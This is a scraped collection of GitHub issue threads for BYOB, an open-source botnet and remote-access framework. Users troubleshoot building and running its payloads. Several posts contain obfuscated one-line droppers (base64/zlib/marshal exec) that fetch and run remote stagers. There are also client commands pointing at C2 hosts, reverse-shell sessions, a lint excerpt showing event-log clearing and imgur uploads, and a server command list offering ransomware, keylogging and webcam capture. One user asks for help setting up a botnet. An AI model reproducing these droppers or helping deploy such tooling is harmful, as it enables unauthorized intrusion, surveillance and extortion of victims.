            return json.dumps(persistence.results())
                              ^
./byob/core/util.py:260:37: F821 undefined name 'zlib'
        ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)
                                    ^
./byob/core/util.py:262:31: F821 undefined name 'zlib'
        idat = [b"", b'IDAT', zlib.compress(scanlines), b""]
                              ^
./byob/core/util.py:263:37: F821 undefined name 'zlib'
        idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)
                                    ^
./byob/core/util.py:266:37: F821 undefined name 'zlib'
        iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
                                    ^
./byob/core/util.py:305:22: F821 undefined name 'powershell_exec'
            output = powershell_exec("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)
                     ^
./byob/core/util.py:387:16: F823 local variable 'post' (defined in enclosing scope on line 153) referenced before assignment
        post = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(data)), 'type': 'base64'}, as_json=True)
               ^
./byob/core/util.py:387:156: F821 undefined name 'data'
        post = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(data)), 'type': 'base64'}, as_json=True)
                                                                                                                                                           ^
./byob/core/generators.py:234:13: E999 SyntaxError: invalid syntax
    print txt
            ^
./byob/core/loader.py:98:17: F821 undefined name '__logger__'
                __logger__.warning("'%s' not found in HTTP repository." % name)
                ^
./byob/core/loader.py:142:15: F821 undefined name 'Error'
        raise Error("'username' and 'repo' parameters cannot be None")
              ^
./byob/core/loader.py:144:15: F821 undefined name 'Error'
        raise Error("'branch' and 'commit' parameters cannot be both set!")
              ^
./byob/core/database.py:227:25: E999 TabError: inconsistent use of tabs and spaces in indentation
                    break
                        ^
19    E999 SyntaxError: invalid syntax
38    F821 undefined name '__load__'
1     F823 local variable 'post' (defined in enclosing scope on line 153) referenced before assignment
58

OSError: Cannot load native module

Server: python server.py --port 4040
Client: python client.py dagseals.dlinkddns.com 4040 --name test6 --compress --encrypt
After trying to run the test6.py on the target the program fails to load.

OSError: Cannot load native module 'Cryptodome.Cipher._raw_ecb': Trying '_raw_ecb.pyd': [Error 126] NÒo foi possÝvel encontrar o m¾dulo especificado.

For e.g:

DEBUG:main:Trying to import 'Cryptodome.Util._raw_api.platform' as package from: 'http://dagseals.dlinkddns.com:4042/Cryptodome/Util/_raw_api/platform/__init__.py'
INFO:main:[-] 'Cryptodome.Util._raw_api.platform' is not a package (HTTP Error 404: File not found)

This dir actually not exists on server. But http://dagseals.dlinkddns.com:4042/Cryptodome/Util/_raw_api.py exists. The same problem for others module requests.

The full log error.

error: tuple index out of range

Hey !

I've been trying to start coding around this project, but have encountered a recurring error when trying the commands.
I'm creating the agent with
./client.py --name payload --freeze 123.45.67.89 64646
and launching the server with
./server.py --host 192.168.1.50 --port 64646

The agent is connecting back to the server properly, but when trying commands like screenshot, I'll encounter the following :
screenshot error: tuple index out of range

I got the same error when trying outlook.

I narrowed down the crashes to payloads.py, function : load, line :
exec 'import {}'.format(module) in target
As far as i've seen, the global table gets the symbol :
screenshot = <module 'screenshot' from 'http://10.3.141.98:64647/screenshot.py'>
but it takes a long time to do so.

Even though the symbol is here, i'm still getting in the screenshot file
screenshot error: tuple index out of range

I may have not understood how to import modules, I am kind of unsure about that.

Thank you for this project !

Examples and documentation

Thank you for putting this together. It would be great to include some example commands and in general, some documentation about the project.

Client issue

Raspberry PI 2B - Linux kali 4.1.12-v7 #87 SMP PREEMPT Tue Jan 5 20:59:45 CST 2016 armv7l GNU/Linux

`# python ./client.py --name byob02cl 192.168.1.8 8186

[>] Modules
Adding modules... - (3 modules added to client)

[>]Imports
Adding imports...- (26 imports from 3 modules)

[>] Payload
Uploading payload... (hosting payload at: http://192.168.1.8:**8187**//payloads/w4t.py)
[>] Stager
Uploading stager... -(hosting stager at: http://192.168.1.8:**8187**//stagers/w4t.py)

[>] Dropper
Writing dropper... (203 bytes written to byob02cl.py)`

# python ./server.py --host 192.168.1.8 --port **8187**

Windows 7 - 32bit Intel CPU dual core [email protected] 1.60GHz

CMD - Tried with and without admin rights. Same result.

`>

python byob02cl.py

`
Nothing happens in both, Client seem to be stuck and from server-side there are no clients. But when I shut down the server, the client responds like this:

System32 CMD:
`>python byob02cl.py
Traceback (most recent call last):
File "byob02cl.py", line 1, in
import zlib,base64,marshal,urllib,json;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrdmBgYCgtysnJTNIDUvkFqXka6hklJQVW+vqGlkZ6hmYWeoZ6FlYWhhbm+vrFJYnpqUXF+uUmJXoFleqaekWpiSkamgDPlRR/')))))
TypeError: expected string without null bytes

`

CMD:
`>python byob02cl.py
Traceback (most recent call last):
File "byob02cl.py", line 1, in
import zlib,base64,marshal,urllib,json;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrdmBgYCgtysnJTNIDUvkFqXka6hklJQVW+vqGlkZ6hmYWeoZ6FlYWhhbm+vrFJYnpqUXF+uUmJXoFleqaekWpiSkamgDPlRR/')))))
File "", line 1, in
File "C:\Python27\lib\urllib.py", line 87, in urlopen
return opener.open(url)
File "C:\Python27\lib\urllib.py", line 213, in open
return getattr(self, name)(url)
File "C:\Python27\lib\urllib.py", line 351, in open_http
errcode, errmsg, headers = h.getreply()
File "C:\Python27\lib\httplib.py", line 1196, in getreply
response = self._conn.getresponse()
File "C:\Python27\lib\httplib.py", line 1121, in getresponse
response.begin()
File "C:\Python27\lib\httplib.py", line 438, in begin
version, status, reason = self._read_status()
File "C:\Python27\lib\httplib.py", line 394, in _read_status
line = self.fp.readline(_MAXLINE + 1)
File "C:\Python27\lib\socket.py", line 480, in readline
data = self._sock.recv(self._rbufsize)
IOError: [Errno socket error] [Errno 10054] Connection interrupted by the remote host

`

So, it's clear that the client can see the server, but the server is not listing any client.

Only one time, in the server, appeared this: [-] Failed Connection: 192.168.1.5
It happens when the Server is still running and I close the CMD window.

And another issue is this:
Quitting server - Keep clients alive? (y/n):y Killed

I really like this project, so I'm trying to give you all the info and make it better! :)

--freeze file !

I have use the -freeze all is good ... when i test it on windows he doesn't cpt the exe file and when i set .exe ... the version is not adapted
[>] Modules
Adding modules... -(3 modules added to client)

[>] Imports
Adding imports...- (26 imports from 3 modules)

[>] Payload
Encrypting payload.../ (117,292 bytes increased to 156,408 bytes (33.0% larger)
Uploading payload... - (hosting payload at: http://192.168.182.7:1338//payloads/wI0.py)

[>] Stager
Uploading stager... (hosting stager at: http://192.168.182.7:1338//stagers/wI0.py)

[>] Dropper
Writing dropper... (207 bytes written to byob_wI0.py)
Compiling executable...
513 INFO: PyInstaller: 3.3.1
513 INFO: Python: 2.7.15+
513 INFO: Platform: Linux-4.18.0-parrot10-amd64-x86_64-with-Parrot-4.2.2-stable
627 INFO: UPX is available.
643 INFO: Extending PYTHONPATH with paths
['/home/boris/byob', '/home/boris/byob/byob']
644 INFO: Will encrypt Python bytecode with key: =A=Y;7wnKLFMN7BW
644 INFO: Adding dependencies on pyi_crypto.py module
644 INFO: checking Analysis
645 INFO: Building Analysis because out00-Analysis.toc is non existent
645 INFO: Initializing module dependency graph...
647 INFO: Initializing module graph hooks...
663 INFO: Analyzing hidden import 'base64'
2693 INFO: Analyzing hidden import 'json'
2808 INFO: Analyzing hidden import 'zlib'
2808 INFO: Analyzing hidden import 'urllib'
3408 INFO: Analyzing hidden import 'uuid'
3530 INFO: Analyzing hidden import 'numpy'
6226 INFO: Processing pre-safe import module hook _xmlplus
6664 INFO: Processing pre-find module path hook distutils
13101 INFO: Processing pre-safe import module hook six.moves
22020 INFO: Analyzing hidden import 'colorama'
22133 INFO: Analyzing hidden import 'requests'
26949 INFO: Analyzing hidden import 'Crypto.Cipher._AES'
27102 INFO: running Analysis out00-Analysis.toc
27142 INFO: Caching module hooks...
27146 INFO: Analyzing /home/boris/byob/byob/byob_wI0.py
27167 INFO: Loading module hooks...
27167 INFO: Loading module hook "hook-distutils.py"...
27184 INFO: Loading module hook "hook-sysconfig.py"...
27190 INFO: Loading module hook "hook-xml.py"...
27191 INFO: Loading module hook "hook-httplib.py"...
27199 INFO: Loading module hook "hook-pydoc.py"...
27201 INFO: Excluding import 'Tkinter'
27203 INFO: Removing import of Tkinter from module pydoc
27203 INFO: Loading module hook "hook-encodings.py"...
27720 INFO: Loading module hook "hook-_tkinter.py"...
27904 INFO: checking Tree
27904 INFO: Building Tree because out00-Tree.toc is non existent
27904 INFO: Building Tree out00-Tree.toc
27955 INFO: checking Tree
27955 INFO: Building Tree because out01-Tree.toc is non existent
27955 INFO: Building Tree out01-Tree.toc
27969 INFO: Loading module hook "hook-xml.dom.domreg.py"...
27984 INFO: Loading module hook "hook-pkg_resources.py"...
28536 INFO: Processing pre-safe import module hook win32com
28804 INFO: Loading module hook "hook-requests.py"...
29065 INFO: Loading module hook "hook-certifi.py"...
29067 INFO: Loading module hook "hook-setuptools.py"...
29132 INFO: Loading module hook "hook-cryptography.py"...
29404 INFO: Loading module hook "hook-pytest.py"...
30723 INFO: Loading module hook "hook-numpy.core.py"...
32186 INFO: Looking for ctypes DLLs
33029 INFO: Analyzing run-time hooks ...
33043 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
33048 INFO: Including run-time hook 'pyi_rth__tkinter.py'
33050 INFO: Including run-time hook 'pyi_rth_pkgres.py'
33073 INFO: Looking for dynamic libraries
34655 INFO: Looking for eggs
34656 INFO: Python library not in binary dependencies. Doing additional searching...
34753 INFO: Using Python library /usr/lib/x86_64-linux-gnu/libpython2.7.so.1.0
34769 INFO: Warnings written to /home/boris/byob/byob/build/byob_wI0/warnbyob_wI0.txt
34864 INFO: Graph cross-reference written to /home/boris/byob/byob/build/byob_wI0/xref-byob_wI0.html
35076 INFO: checking PYZ
35077 INFO: Building PYZ because out00-PYZ.toc is non existent
35077 INFO: Building PYZ (ZlibArchive) /home/boris/byob/byob/build/byob_wI0/out00-PYZ.pyz
37004 INFO: Building PYZ (ZlibArchive) /home/boris/byob/byob/build/byob_wI0/out00-PYZ.pyz completed successfully.
37145 INFO: checking PKG
37145 INFO: Building PKG because out00-PKG.toc is non existent
37145 INFO: Building PKG (CArchive) out00-PKG.pkg
52497 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully.
52554 INFO: Bootloader /usr/local/lib/python2.7/dist-packages/PyInstaller/bootloader/Linux-64bit/run
52554 INFO: checking EXE
52554 INFO: Building EXE because out00-EXE.toc is non existent
52554 INFO: Building EXE from out00-EXE.toc
52583 INFO: Appending archive to ELF section in EXE /home/boris/byob/byob/dist/byob_wI0
52898 INFO: Building EXE from out00-EXE.toc completed successfully.
(28,064,144 bytes saved to file: /home/boris/byob/byob/dist/byob_wI0)

Thank you

urllib3 cannot be loaded in client side

XX.XX.XX.XX is server ip
server and cilent are not in one pc

log of client side is as follows

DEBUG:main:LOADER=================
DEBUG:main:Loading requests.packages.urllib3...
DEBUG:main:Trying to import 'requests.packages.urllib3' as package from: 'http://XX.XX.XX.XX:82/requests/packages/urllib3/__init__.py'
INFO:main:[-] 'requests.packages.urllib3' is not a package (HTTP Error 404: File not found)
DEBUG:main:[+] Trying to import 'requests.packages.urllib3' as module from: 'http://XX.XX.XX.XX:82/requests/packages/urllib3.py'
INFO:main:[-] 'requests.packages.urllib3' is not a module (HTTP Error 404: File not found)
DEBUG:main:Unable to connect to server. Retrying in 30 seconds...

open http://XX.XX.XX.XX:82/requests/packages/ in chrome I can see 3 files

init_.py
init.pyc
idna/

invalid syntax

Hi,
I run server.py on my VPS, and client.py generate a client on VPS. It runs well and i get a session!
But while i generate a client on my windows system. I got bellow "invalid syntax" error!
what's wrong with this. i'V no idea _
D:\myProgs\myPython\byob-master\byob>py -2 byob_lwc.py
Traceback (most recent call last):
File "byob_lwc.py", line 1, in
import zlib,base64,marshal,urllib,json;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrdmFgYCgtysnJTNIDUvkFqXka6hklJQVW+vqG5kZ6lsZ6JoZ6hkbmVkamRgaG+vr6xSWJ6alFxfo55cl6BZXqmnpFqYkpGpoAFwEVXA==')))))
File "", line 1

^
SyntaxError: invalid syntax

Trying to Comiple Executeable using pyinstaller on windows

Hello Colental,

Please can you assist with the compilation process? I am attempting to create a binary executeable file for windows.

The guide states: "can be compiled with a standalone python interpreter into a portable binary executable formatted for any platform/architecture, allowing it to run on anything, even when Python itself is missing on the target host"

I have attempted to use "pyinstaller --onefile client.py" to create the binary file however I am getting the following errors? These appear during the compilation process.

I am fairly new to python so I am probably missing some libraries etc.

missing module named resource - imported by posix, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named posix - imported by os, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named _posixsubprocess - imported by subprocess, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named readline - imported by cmd, code, pdb, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
excluded module named _frozen_importlib - imported by importlib, importlib.abc, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named _frozen_importlib_external - imported by importlib._bootstrap, importlib, importlib.abc, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named _winreg - imported by platform, core.util, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named _scproxy - imported by urllib.request
missing module named java - imported by platform, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named 'java.lang' - imported by platform, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, xml.sax._exceptions
missing module named vms_lib - imported by platform, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named termios - imported by tty, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, getpass
missing module named grp - imported by shutil, tarfile, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named pwd - imported by posixpath, shutil, tarfile, http.server, webbrowser, netrc, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, getpass
missing module named org - imported by pickle, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named 'org.python' - imported by copy, C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, xml.sax
missing module named security - imported by core.generators
missing module named util - imported by core.generators
invalid module named core.security - imported by C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py
missing module named StringIO - imported by core.util
missing module named numpy - imported by core.util
missing module named _uuid - imported by uuid
missing module named colorama - imported by C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, core.util
missing module named requests - imported by C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, core.util
missing module named urllib2 - imported by C:\Users\garet\Downloads\byob-master\byob-master\byob\client.py, core.util





Error message with keylogger module

root@stevelab:~/Documents/github/byob/byob# python byob_jrB.py
Traceback (most recent call last):
File "byob_jrB.py", line 1, in
import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrdmFgYCgtysnJTNIDUvkFqXka6hklJQVW+vqGlkZ6hmYWemZAysDQytDAxMREX7+4JDE9tahYP6vISa+gUl1Tryg1MUVDEwAVWhU4')))))
File "", line 1

^
SyntaxError: invalid syntax

any idea how to solve this?

Installation

Can you please help me to setup up my botnet.
How set it up?

unpack requires a string argument of length 4

When executing the python code generated by client.py, I have the following flooding output :

DEBUG:__main__:recv_task error: unpack requires a string argument of length 4

I generated 2 different client scripts through the following commands (problem occurs with both scripts) :

./client.py --encrypt --compress W.X.Y.Z 80
./client.py W.X.Y.Z 80

I ran the server with

./server.py --port 80

Here is the complete output from the client :

DEBUG:__main__:[*] Searching http://W.X.Y.Z:81
DEBUG:__main__:[+] Adding escalate
DEBUG:__main__:[+] Adding icloud
.....
  "modules": [
    "escalate", 
    "icloud", 
.....
    "util", 
    "webcam"
  ]
}
DEBUG:__main__:recv_task error: ciphertext block must be 16 bytes
DEBUG:__main__:recv_task error: unpack requires a string argument of length 4
DEBUG:__main__:recv_task error: unpack requires a string argument of length 4
DEBUG:__main__:recv_task error: unpack requires a string argument of length 4
DEBUG:__main__:recv_task error: unpack requires a string argument of length 4
DEBUG:__main__:recv_task error: unpack requires a string argument of length 4
DEBUG:__main__:recv_task error: unpack requires a string argument of length 4

Am i doing something wrong ?

pypiwin32(pywin32) install error in linux. (Is pypiwin32 only for Windows?)

When i try to install requirements.txt in linux, pip install all requirements except pypiwin32. When I try to install pypiwin32 it gives an error like :

Could not find a version that satisfies the requirement pywin32>=223

But in Windows; pip successfuly install pypiwin32.

So, is pypiwin32(pywin32) package(s) only for Windows?

If it is; can we change pypiwin32==223; to pypiwin32==223;sys_platform == 'Windows' in requirements.txt for pypiwin32 package? In this way, pip don't try to install pypiwin32 package for linux and we don't get error.

NOTE: I think there is a bug in setup.py. Because setup.py don't throw exception when install requirement.txt if there is an error. So, we can't see pypiwin32 error or other errors and we think; "setup.py successfully install packages." (Test it: add a random string named package to requirements.txt and run setup.py)

-Sorry for bad English.

Processing client shell and server shell error

# python server.py  --port  88
# python byob_yr5.py  // client                                                                                                                                                                     
[root @ /root/byob/byob]>                                                                                                                                                      
                                                                                                                                                                               
[+] New Connection: 127.0.0.1                                                                                                                                                  
    Session: 1                                                                                                                                                                 
    Started: Tue Aug  7 20:33:44 2018                                                                                                                                          
                                                                                                                                                                               
[root @ /root/byob/byob]> shell 1                                                                                                                                              
                                                                                                                                                                               
                                                                                                                                                                               
Starting Reverse TCP Shell w/ Session 1...     

[ 1 @ /root/byob/byob ]>exit                                                                                                                                                   
Quiting server - keep clients alive? (y/n):y                                                                                                                                   
int() argument must be a string or a number, not 'Session'

in server.py 315 line session.send_task('passive')
but send_task arg should be dict

Pip problem

I have a problem with pip (i have the 2.7.15) see : C:\Users\FLSTUDIO\Desktop\byob-master\byob>python setup.py
Information : impossible de trouver des fichiers pour le(s) modèle(s) spécifié(s).
DEBUG:main:Error in pip package installer: Command 'where pip' returned non-zero exit status 1
DEBUG:pip._internal.utils.misc:lzma module is not available
DEBUG:pip._internal.vcs:Registered VCS backend: git
DEBUG:pip._internal.vcs:Registered VCS backend: hg
DEBUG:pip._internal.vcs:Registered VCS backend: svn
DEBUG:pip._internal.vcs:Registered VCS backend: bzr
DEBUG:pip._internal.configuration:For variant 'global', will try loading 'C:\ProgramData\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'user', will try loading 'C:\Users\FLSTUDIO\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'user', will try loading 'C:\Users\FLSTUDIO\AppData\Roaming\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'global', will try loading 'C:\ProgramData\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'user', will try loading 'C:\Users\FLSTUDIO\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'user', will try loading 'C:\Users\FLSTUDIO\AppData\Roaming\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'global', will try loading 'C:\ProgramData\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'user', will try loading 'C:\Users\FLSTUDIO\pip\pip.ini'
DEBUG:pip._internal.configuration:For variant 'user', will try loading 'C:\Users\FLSTUDIO\AppData\Roaming\pip\pip.ini'
Collecting pip
Using cached https://files.pythonhosted.org/packages/c2/d7/90f34cb0d83a6c5631cf71dfe64cc1054598c843a92b400e55675cc2ac37/pip-18.1-py2.py3-none-any.whl
Installing collected packages: pip
Found existing installation: pip 18.1
Uninstalling pip-18.1:
Successfully uninstalled pip-18.1
Successfully installed pip-18.1

Getting import request error

Getting import cv2 Error while starting the server

Traceback (most recent call last):
File "C:\Users\x\Desktop\byob-master\byob-master\byob\server.py", line 44, in
import cv2
File "C:\Python27\lib\site-packages\cv2_init_.py", line 4, in
from .cv2 import *
ImportError: DLL load failed: %1 is not a valid Win32 application.

thanks

can't get a connection

i run the client.py with the host and port as i want and in the "BYOB" u get a python file i run the file in IDLE and run it and i get this error:

screenshot 2
screenshot 4

any ideas?

the error is in picture one

Just doesn't work on python 3.7

I have tried multiple ways of getting this to work, there is no tutorial on it that I can find so I tried myself, setup.py doesn't work because of errors of this: logging.basicConfig(level=logging.DEBUG, handler=logging.StreamHandler()) client.py doesn't work simply because of dependencies (I also did pip install -r requierments.txt, it installed some of them but then it got an error and skipped over the rest, also don't force it to use other versions of the dependencies unless the newer versions don't work!!!) and I haven't even gotten to server yet as I assume it is worthless without a client so yeah it would be much appreciated if all of this got fixed, I'm not very good at coding in general but I'll help if I can :)

Commands via tcp reverse shell

After sending command to the client threw tcp reverse shell, for example: 'help' or any command included in the server parser args, the following error pop up and close all the sessions and the server connection:
[ 1 ... byob-master/byob ]>help
int() argument must be a string or a number, not 'Session'

pip install -r requirements.txt - pywin32 error

Commands I run prior to executing pip install -r requirements.txt:

sudo apt update
sudo apt install python3-pip
sudo -H pip3 install --upgrade pip
sudo -H pip3 install virtualenv
git clone https://github.com/colental/byob
cd byob
virtualenv venv
source venv/bin/activate
cd byob
pip install -r requirements.txt

Collecting pywin32>=223 (from pypiwin32==223->-r requirements.txt (line 12))
Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32==223->-r requirements.txt (line 12)) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32==223->-r requirements.txt (line 12))

How can i be able to add modules

after i read the usage,I use the cmd:python client.py --name payload --encrypet 10.1.1.1 1990 modules icloud
but whatever i typed after modules,none of them add in to the payload,always the 3 default modules added to client.

Killing a Client

I was testing client on my computer and not a VM (A mistake on my behalf.) I was wondering why the command "kill" does not work?

`[xeroshi @ /Users/xeroshi/Desktop/byob]>help

    command <arg>                                         description                                

bg [id] background a session (default: the current session)
broadcast broadcast a task to all active sessions
clients show all clients that have joined the server
debug run python code directly on server (debugging MUST be enabled)
exit quit the server
help show usage help for server commands
kill end a session
options show currently configured settings
query query the SQLite database
ransom [id] encrypt client files & ransom encryption key for a Bitcoin payment
results [id] display all completed task results for a client (default: all clients)
sessions show active client sessions
set [option=value] change the value of a setting
shell interact with a client with a reverse TCP shell through an active session
tasks [id] display all incomplete tasks for a client (default: all clients)
webcam capture image/video from the webcam of a client device

[xeroshi @ /Users/xeroshi/Desktop/byob]>kill 1
parent=run , child=session_remove , args={'self': <main.C2 instance at 0x101992ea8>, 'session_id': '1'}
[xeroshi @ /Users/xeroshi/Desktop/byob]>
`

Server not listening on proper ports given command line args

server is started with a port specifier.

user@userbox:~/src/byob/byob$ python server.py --host 192.168.1.69 --port 12345

c2 server is not listening on the proper port. modules_handler server is listening on port + 1.

user@userbox:~/src/byob/byob$ sudo netstat -alnp | grep 12345
user@userbox:~/src/byob/byob$ sudo netstat -alnp | grep 12346
tcp        0      0 0.0.0.0:12346           0.0.0.0:*               LISTEN      25738/python

looks like the default of 1337 is overridding the user supplied port number.

user@userbox:~/src/byob/byob$ sudo netstat -alnp | grep 133
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN      25734/python

requests and urllib[2] library both used

The requests, urllib and urllib2 libraries are all used. As they serve the same purpose, it would be better for consistency and readability to only use one of them.

My personal preference goes out to requests because it is much easier to understand and use.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.